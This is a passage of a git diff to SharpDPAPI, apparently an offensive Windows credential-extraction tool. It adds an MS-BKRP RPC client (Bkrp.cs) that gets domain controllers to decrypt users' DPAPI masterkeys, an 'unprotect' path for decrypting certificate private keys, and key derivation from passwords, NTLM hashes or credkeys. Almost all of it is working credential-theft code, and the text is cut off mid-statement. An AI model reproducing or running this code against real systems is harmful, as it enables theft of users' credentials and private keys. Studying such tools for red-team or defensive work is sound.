} diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index 05b1ba5..4f07a3b 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -53,6 +53,8 @@ + + @@ -83,6 +85,7 @@ + diff --git a/SharpDPAPI/app.config b/SharpDPAPI/app.config index cf7e7ab..9790959 100755 --- a/SharpDPAPI/app.config +++ b/SharpDPAPI/app.config @@ -1,3 +1,9 @@ - + + + + + + + \ No newline at end of file diff --git a/SharpDPAPI/lib/Bkrp.cs b/SharpDPAPI/lib/Bkrp.cs new file mode 100644 index 0000000..19effc7 --- /dev/null +++ b/SharpDPAPI/lib/Bkrp.cs @@ -0,0 +1,505 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; + +namespace SharpDPAPI +{ + /// + /// Inspired by vletoux and gentilkiwi + /// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1 + /// Mimikatz: kull_m_rpc_ms-bkrp_c.c + /// + public class Bkrp + { + #region pinvoke + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern IntPtr NdrClientCall2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr h, IntPtr pguidActionAgent, IntPtr pDataIn, UInt32 cbDataIn, out IntPtr ppDataOut, out IntPtr pcbDataOut, UInt32 dwParam); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFree(ref IntPtr lpString); + + //#region RpcStringBindingCompose + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcStringBindingCompose( + String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, + out IntPtr lpBindingString + ); + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SECURITY_QOS + { + public Int32 Version; + public Int32 Capabilities; + public Int32 IdentityTracking; + public Int32 ImpersonationType; + }; + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, + UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] + private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); + + [DllImport("Rpcrt4.dll", EntryPoint = "I_RpcBindingInqSecurityContext", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] + private static extern Int32 I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle); + + + [StructLayout(LayoutKind.Sequential)] + private struct SecPkgContext_SessionKey + { + public UInt32 SessionKeyLength; + public IntPtr SessionKey; + } + + [DllImport("secur32.Dll", CharSet = CharSet.Auto, SetLastError = false)] + private static extern int QueryContextAttributes(IntPtr hContext, + uint ulAttribute, + ref SecPkgContext_SessionKey pContextAttributes); + + [StructLayout(LayoutKind.Sequential)] + private struct CRYPTO_BUFFER + { + public UInt32 Length; + public UInt32 MaximumLength; + public IntPtr Buffer; + } + + [DllImport("advapi32.Dll", CharSet = CharSet.Auto, SetLastError = false, EntryPoint = "SystemFunction032")] + private static extern int SystemFunction032(ref CRYPTO_BUFFER data, ref CRYPTO_BUFFER key); + + [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "SystemFunction027")] + private static extern int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output); + + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthorityCount(IntPtr psid); + #endregion + + #region rpc initialization + private byte[] MIDL_ProcFormatString; + private byte[] MIDL_TypeFormatString; + private GCHandle procString; + private GCHandle formatString; + private GCHandle stub; + private GCHandle faultoffsets; + private GCHandle clientinterface; + + public UInt32 RPCTimeOut = 1000; + + [StructLayout(LayoutKind.Sequential)] + private struct COMM_FAULT_OFFSETS + { + public short CommOffset; + public short FaultOffset; + } + + [StructLayout(LayoutKind.Sequential)] + private struct GENERIC_BINDING_ROUTINE_PAIR + { + public IntPtr Bind; + public IntPtr Unbind; + } + + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + + public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + MajorVersion = InterfaceVersionMajor; + MinorVersion = InterfaceVersionMinor; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_CLIENT_INTERFACE + { + public uint Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; + public uint RpcProtseqEndpointCount; + public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; + public IntPtr Reserved; + public IntPtr InterpreterInfo; + public uint Flags; + + public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, + 0x10, + 0x48, 0x60); + + public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); + RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); + InterfaceId = new RPC_SYNTAX_IDENTIFIER(); + InterfaceId.SyntaxGUID = iid; + InterfaceId.SyntaxVersion = rpcVersion; + rpcVersion = new RPC_VERSION(2, 0); + TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); + TransferSyntax.SyntaxGUID = IID_SYNTAX; + TransferSyntax.SyntaxVersion = rpcVersion; + DispatchTable = IntPtr.Zero; + RpcProtseqEndpointCount = 0u; + RpcProtseqEndpoint = IntPtr.Zero; + Reserved = IntPtr.Zero; + InterpreterInfo = IntPtr.Zero; + Flags = 0u; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct MIDL_STUB_DESC + { + public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pAutoBindHandle; + public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; + public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; + public IntPtr /*EXPR_EVAL*/ apfnExprEval; + public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public uint Version; + public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + // New fields for version 3.0+ + public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; + public IntPtr mFlags; + // International support routines - added for 64bit post NT5 + public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; + public IntPtr ProxyServerInfo; + public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; + // Fields up to now present in win2000 release. + + public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, + IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr) + { + pFormatTypes = pFormatTypesPtr; + RpcInterfaceInformation = RpcInterfaceInformationPtr; + CommFaultOffsets = IntPtr.Zero; + pfnAllocate = pfnAllocatePtr; + pfnFree = pfnFreePtr; + pAutoBindHandle = IntPtr.Zero; + apfnNdrRundownRoutines = IntPtr.Zero; + aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr; + apfnExprEval = IntPtr.Zero; + aXmitQuintuple = IntPtr.Zero; + fCheckBounds = 1; + Version = 0x60000; + pMallocFreeStruct = IntPtr.Zero; + MIDLVersion = 0x8000253; + aUserMarshalQuadruple = IntPtr.Zero; + NotifyRoutineTable = IntPtr.Zero; + mFlags = new IntPtr(0x00000001); + CsRoutineTables = IntPtr.Zero; + ProxyServerInfo = IntPtr.Zero; + pExprInfo = IntPtr.Zero; + } + } + + private void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, ushort MajorVerson, ushort MinorVersion) + { + this.MIDL_ProcFormatString = MIDL_ProcFormatString; + this.MIDL_TypeFormatString = MIDL_TypeFormatString; + procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); + + RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); + + COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); + commFaultOffset.CommOffset = -1; + commFaultOffset.FaultOffset = -1; + faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); + clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); + formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); + + MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), + clientinterface.AddrOfPinnedObject(), + Marshal.GetFunctionPointerForDelegate((allocmemory)AllocateMemory), + Marshal.GetFunctionPointerForDelegate((freememory)FreeMemory), + IntPtr.Zero); + + stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); + } + + private void freeStub() + { + procString.Free(); + faultoffsets.Free(); + clientinterface.Free(); + formatString.Free(); + stub.Free(); + } + + private static List TrackedMemoryAllocations; + + delegate IntPtr allocmemory(int size); + private static IntPtr AllocateMemory(int size) + { + IntPtr memory = Marshal.AllocHGlobal(size); + if (TrackedMemoryAllocations != null) + { + TrackedMemoryAllocations.Add(memory); + } + return memory; + } + + delegate void freememory(IntPtr memory); + private static void FreeMemory(IntPtr memory) + { + Marshal.FreeHGlobal(memory); + if (TrackedMemoryAllocations != null && TrackedMemoryAllocations.Contains(memory)) + { + TrackedMemoryAllocations.Remove(memory); + } + } + + private static void EnableMemoryTracking() + { + TrackedMemoryAllocations = new List(); + } + + private static void FreeTrackedMemoryAndRemoveTracking() + { + List list = TrackedMemoryAllocations; + TrackedMemoryAllocations = null; + foreach (IntPtr memory in list) + { + Marshal.FreeHGlobal(memory); + } + } + + private IntPtr Bind(string server) + { + IntPtr bindingstring = IntPtr.Zero; + IntPtr binding = IntPtr.Zero; + Int32 status; + + status = RpcStringBindingCompose(null, "ncacn_np", server, @"\pipe\protected_storage", null, out bindingstring); + if (status != 0) + return IntPtr.Zero; + status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); + RpcBindingFree(ref bindingstring); + if (status != 0) + return IntPtr.Zero; + + RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS(); + qos.Version = 1; + qos.Capabilities = 8; + qos.ImpersonationType = 3; + GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); + + status = RpcBindingSetAuthInfoEx(binding, "ProtectedStorage/" + server, 6, 9, IntPtr.Zero, 0, ref qos); + qoshandle.Free(); + if (status != 0) + { + Unbind(binding); + return IntPtr.Zero; + } + return binding; + } + + private static void Unbind(IntPtr hBinding) + { + RpcBindingFree(ref hBinding); + } + + private IntPtr GetProcStringHandle(int offset) + { + return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatStringBackuprKeyx64, offset); + } + + private IntPtr GetStubHandle() + { + return stub.AddrOfPinnedObject(); + } + #endregion + + #region MIDL strings + private static byte[] MIDL_ProcFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x01, + 0x08, 0x00, 0x0c, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x28, 0x00, 0x50, 0x21, 0x28, 0x00, 0x08, 0x00, 0x48, 0x00, 0x30, 0x00, + 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x28, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + private static byte[] MIDL_ProcFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x04, 0x00, + 0x0c, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x28, 0x00, 0x50, 0x21, 0x14, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, + 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x14, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + #endregion + + #region RPC structures + [StructLayout(LayoutKind.Sequential)] + private struct DRS_EXTENSIONS_INT + { + public UInt32 cb; + public UInt32 dwFlags; + public Guid SiteObjGuid; + public UInt32 Pid; + public UInt32 dwReplEpoch; + public UInt32 dwFlagsExt; + public Guid ConfigObjGUID; + public UInt32 dwExtCaps; + } + + [StructLayout(LayoutKind.Sequential)] + private struct USN_VECTOR + { + public long usnHighObjUpdate; + public long usnReserved; + public long usnHighPropUpdate; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SCHEMA_PREFIX_TABLE + { + public UInt32 PrefixCount; + public IntPtr pPrefixEntry; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRVALBLOCK + { + public UInt32 valCount; + public IntPtr pAVal; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRBLOCK + { + public UInt32 attrCount; + public IntPtr pAttr; + } + [StructLayout(LayoutKind.Sequential)] + private struct ENTINF + { + public IntPtr pName; + public UInt32 ulFlags; + public ATTRBLOCK AttrBlock; + }; + #endregion + + #region Bkrp class and public interfaces + private IntPtr hBind; + private Guid BACKUPKEY_RESTORE_GUID = new Guid("47270C64-2FC7-499B-AC5B-0E37CDCE899A"); + private Guid MS_BKRP_INTERFACE_ID = new Guid("3DDE7C30-165D-11D1-AB8F-00805F14DB40"); + + public Bkrp() + { + if (IntPtr.Size == 8) + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx64, MIDL_TypeFormatStringBackuprKeyx64, 1, 0); + } + else + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 1, 0); + } + } + + ~Bkrp() + { + Uninitialize(); + } + + public void Initialize(string server, string domain) + { + try + { + this.hBind = Bind(server); + if (this.hBind == IntPtr.Zero) + throw new Exception("Unable to connect to the server " + server); + } + catch (Exception) + { + if (this.hBind != IntPtr.Zero) + Unbind(this.hBind); + this.hBind = IntPtr.Zero; + } + } + + private void Uninitialize() + { + if (hBind != IntPtr.Zero) + Unbind(hBind); + } + #endregion + + #region drsr rpc functions and decoding functions + public byte[] BackuprKey(byte[] domainKeyBytes) + { + EnableMemoryTracking(); + + IntPtr result = IntPtr.Zero; + var stub = GetStubHandle(); + var handle = GetProcStringHandle(0); + + GCHandle guidHandle = GCHandle.Alloc(this.BACKUPKEY_RESTORE_GUID, GCHandleType.Pinned); + IntPtr guidPtr = guidHandle.AddrOfPinnedObject(); + + GCHandle domainKeyHandle = GCHandle.Alloc(domainKeyBytes, GCHandleType.Pinned); + IntPtr domainKeyPtr = domainKeyHandle.AddrOfPinnedObject(); + + IntPtr ppDataOut = IntPtr.Zero; + IntPtr pcbDataOut = IntPtr.Zero; + + uint domainKeyLength = Convert.ToUInt32(domainKeyBytes.Length); + uint dwParams = Convert.ToUInt32(0); + + try + { + result = NdrClientCall2(stub, handle, this.hBind, guidPtr, domainKeyPtr, domainKeyLength, out ppDataOut, out pcbDataOut, dwParams); + byte[] managedArray = new byte[64]; + IntPtr ptr = new IntPtr(ppDataOut.ToInt64() + 4); + Marshal.Copy(ptr, managedArray, 0, 64); + return managedArray; + } + catch (Exception) + { + throw new Exception("Error decrypting masterkey via RPC"); + } + finally + { + guidHandle.Free(); + domainKeyHandle.Free(); + this.freeStub(); + FreeTrackedMemoryAndRemoveTracking(); + } + } + #endregion + } +} \ No newline at end of file diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs index 25079c0..6dc200f 100755 --- a/SharpDPAPI/lib/Crypto.cs +++ b/SharpDPAPI/lib/Crypto.cs @@ -266,29 +266,31 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) public static byte[] LSAAESDecrypt(byte[] key, byte[] data) { - var aesCryptoProvider = new AesManaged(); - - aesCryptoProvider.Key = key; - aesCryptoProvider.IV = new byte[16]; - aesCryptoProvider.Mode = CipherMode.CBC; - aesCryptoProvider.BlockSize = 128; - aesCryptoProvider.Padding = PaddingMode.Zeros; - var transform = aesCryptoProvider.CreateDecryptor(); + using (AesManaged aesCryptoProvider = new AesManaged + { + Key = key, + IV = new byte[16], + Padding = PaddingMode.Zeros + } + ) + { + ICryptoTransform transform = aesCryptoProvider.CreateDecryptor(); - var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); - var plaintext = new byte[chunks * 16]; + var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); + var plaintext = new byte[chunks * 16]; - for (var i = 0; i < chunks; ++i) - { - var offset = i * 16; - var chunk = new byte[16]; - Array.Copy(data, offset, chunk, 0, 16); + for (var i = 0; i < chunks; ++i) + { + var offset = i * 16; + var chunk = new byte[16]; + Array.Copy(data, offset, chunk, 0, 16); + + var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); + Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); + } - var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); - Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); + return plaintext; } - - return plaintext; } public static byte[] RSADecrypt(byte[] privateKey, byte[] dataToDecrypt) diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 576b02d..eb7a6c7 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -15,7 +15,7 @@ namespace SharpDPAPI { public class Dpapi { - public static Tuple DescribeDPAPICertPrivateKey(string fileName, byte[] dpapiblob, Dictionary MasterKeys, byte[] entropy = null) + public static Tuple DescribeDPAPICertPrivateKey(string fileName, byte[] dpapiblob, Dictionary MasterKeys, byte[] entropy = null, bool unprotect = false) { // decrypts the private key part of a CAPI/CNG blog @@ -84,6 +84,31 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName, offset += signBytes.Length + 4; + if (unprotect) + { + // use CryptUnprotectData() + try + { + var decBytes = ProtectedData.Unprotect(dpapiblob, entropy, DataProtectionScope.CurrentUser); + if (decBytes.Length > 0) + { + message += $"\n Provider GUID : {strGuidProvider}\n"; + message += $" Master Key GUID : {strmkguidProvider}\n"; + message += $" Description : {description}\n"; + message += $" algCrypt : {(Interop.CryptAlg)algCrypt} (keyLen {algCryptLen})\n"; + message += $" algHash : {(Interop.CryptAlg)algHash} ({algHash})\n"; + message += $" Salt : {Helpers.ByteArrayToString(saltBytes)}\n"; + message += $" HMAC : {Helpers.ByteArrayToString(hmac)}\n"; + } + + return new Tuple(message, decBytes); + } + catch + { + Console.WriteLine($" [!] {fileName} masterkey needed: {strmkguidProvider}"); + } + } + switch (algHash) { case 32782: @@ -234,7 +259,7 @@ public static byte[] ConvertRsaBlobToRsaFullBlob(byte[] rsaKeyBytes, bool debug } - public static Tuple DescribeCngCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys) + public static Tuple DescribeCngCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys, bool unprotect = false) { // Parses a CNG certificate private key blob, decrypting if possible. @@ -274,7 +299,7 @@ public static Tuple DescribeCngCertBlob(string fileName, byte[] Array.Copy(blobBytes, offset, dpapiblob, 0, dwPrivateKeyLen); // entropy needed - https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_key.h#L13 - Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, Helpers.Combine(Encoding.UTF8.GetBytes("xT5rZW5qVVbrvpuA"), new byte[1])); + Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, Helpers.Combine(Encoding.UTF8.GetBytes("xT5rZW5qVVbrvpuA"), new byte[1]),unprotect); string message = result.First; if (result.Second.Length > 0) @@ -286,7 +311,7 @@ public static Tuple DescribeCngCertBlob(string fileName, byte[] } - public static Tuple DescribeCapiCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys) + public static Tuple DescribeCapiCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys, bool unprotect = false) { // Parses a CAPI certificate private key blob, decrypting if possible. @@ -375,7 +400,7 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[] var dpapiblob = new byte[len]; Array.Copy(blobBytes, offset, dpapiblob, 0, len); - Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys); + Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, null, unprotect); string message = result.First; if(result.Second.Length > 0) { @@ -390,18 +415,18 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[] } - public static ExportedCertificate DescribeCertificate(string fileName, byte[] certificateBytes, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static ExportedCertificate DescribeCertificate(string fileName, byte[] certificateBytes, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // takes a raw certificate private key blob and decrypts/displays if possible Tuple result = new Tuple("", null); if (cng) { - result = DescribeCngCertBlob(fileName, certificateBytes, MasterKeys); + result = DescribeCngCertBlob(fileName, certificateBytes, MasterKeys, unprotect); } else { - result = DescribeCapiCertBlob(fileName, certificateBytes, MasterKeys); + result = DescribeCapiCertBlob(fileName, certificateBytes, MasterKeys, unprotect); } string statusMessage = result.First; @@ -826,12 +851,12 @@ public static Dictionary PVKTriage(Dictionary ar if (arguments.ContainsKey("/server")) { - masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false, arguments["/server"]); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes: backupKeyBytes, show: false, computerName: arguments["/server"]); } else { Console.WriteLine(""); - masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes: backupKeyBytes, show: false); } if (masterkeys.Count == 0) @@ -1727,7 +1752,7 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes) return masterKeySubBytes; } - public static byte[] CalculateKeys(string password, string directory, bool domain, string userSID = "") + public static byte[] CalculateKeys(bool domain = true, string password = "", string ntlm = "", string credkey = "", string userSID = "", string directory = "") { var usersid = ""; @@ -1747,62 +1772,86 @@ public static byte[] CalculateKeys(string password, string directory, bool domai utf16sid.CopyTo(utf16sidfinal, 0); utf16sidfinal[utf16sidfinal.Length - 2] = 0x00; - byte[] sha1bytes_password; - byte[] hmacbytes; - if (!domain) { - //Calculate SHA1 from user password - using (var sha1 = new SHA1Managed()) + if (!domain && !String.IsNullOrEmpty(credkey)) { - sha1bytes_password = sha1.ComputeHash(utf16pass); + // using the local credkey specifically + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(credkey))) + { + return hmac.ComputeHash(utf16sidfinal); + } } - var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); - using (var hmac = new HMACSHA1(sha1bytes_password)) + else { - hmacbytes = hmac.ComputeHash(utf16sidfinal); + // Calculate SHA1 from user password + byte[] sha1bytes_password; + using (var sha1 = new SHA1Managed()) + { + sha1bytes_password = sha1.ComputeHash(utf16pass); + } + var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); + using (var hmac = new HMACSHA1(sha1bytes_password)) + { + return hmac.ComputeHash(utf16sidfinal); + } } - return hmacbytes; } else { - //Calculate NTLM from user password. Kerberos's RC4_HMAC key is the NTLM hash - //Skip NTLM hashing if the password is in NTLM format - string rc4Hash = Regex.IsMatch(password, "^[a-f0-9]{32}$", RegexOptions.IgnoreCase) ? password : - Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm)) + { + byte[] ntlmBytes = null; - var ntlm = Helpers.ConvertHexStringToByteArray(rc4Hash); + if (!String.IsNullOrEmpty(password)) + { + ntlmBytes = Helpers.ConvertHexStringToByteArray(Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password)); + } + else if (!String.IsNullOrEmpty(ntlm)) + { + ntlmBytes = Helpers.ConvertHexStringToByteArray(ntlm); + } - var combinedNTLM = Helpers.Combine(ntlm, utf16sidfinal); - byte[] ntlmhmacbytes; + var combinedNTLM = Helpers.Combine(ntlmBytes, utf16sidfinal); + byte[] ntlmhmacbytes; - //Calculate SHA1 of NTLM from user password - using (var hmac = new HMACSHA1(ntlm)) - { - ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); - } + using (var hmac = new HMACSHA1(ntlmBytes)) + { + ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); + } - byte[] tmpbytes1; - byte[] tmpbytes2; - byte[] tmpkey3bytes; + byte[] tmpbytes; + byte[] credkey_bytes; - using (var hMACSHA256 = new HMACSHA256()) - { - var deriveBytes = new Pbkdf2(hMACSHA256, ntlm, utf16sid, 10000); - tmpbytes1 = deriveBytes.GetBytes(32, "sha256"); - } + using (var hMACSHA256 = new HMACSHA256()) + { + var deriveBytes = new Pbkdf2(hMACSHA256, ntlmBytes, utf16sid, 10000); + tmpbytes = deriveBytes.GetBytes(32, "sha256"); + } + + using (var hMACSHA256 = new HMACSHA256()) + { + var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes, utf16sid, 1); + credkey_bytes = deriveBytes.GetBytes(16, "sha256"); + } - using (var hMACSHA256 = new HMACSHA256()) + using (var hmac = new HMACSHA1(credkey_bytes)) + { + return hmac.ComputeHash(utf16sidfinal); + } + } + else if (!String.IsNullOrEmpty(credkey)) { - var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes1, utf16sid, 1); - tmpbytes2 = deriveBytes.GetBytes(16, "sha256"); + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(credkey))) + { + return hmac.ComputeHash(utf16sidfinal); + } } - - using (var hmac = new HMACSHA1(tmpbytes2)) + else { - tmpkey3bytes = 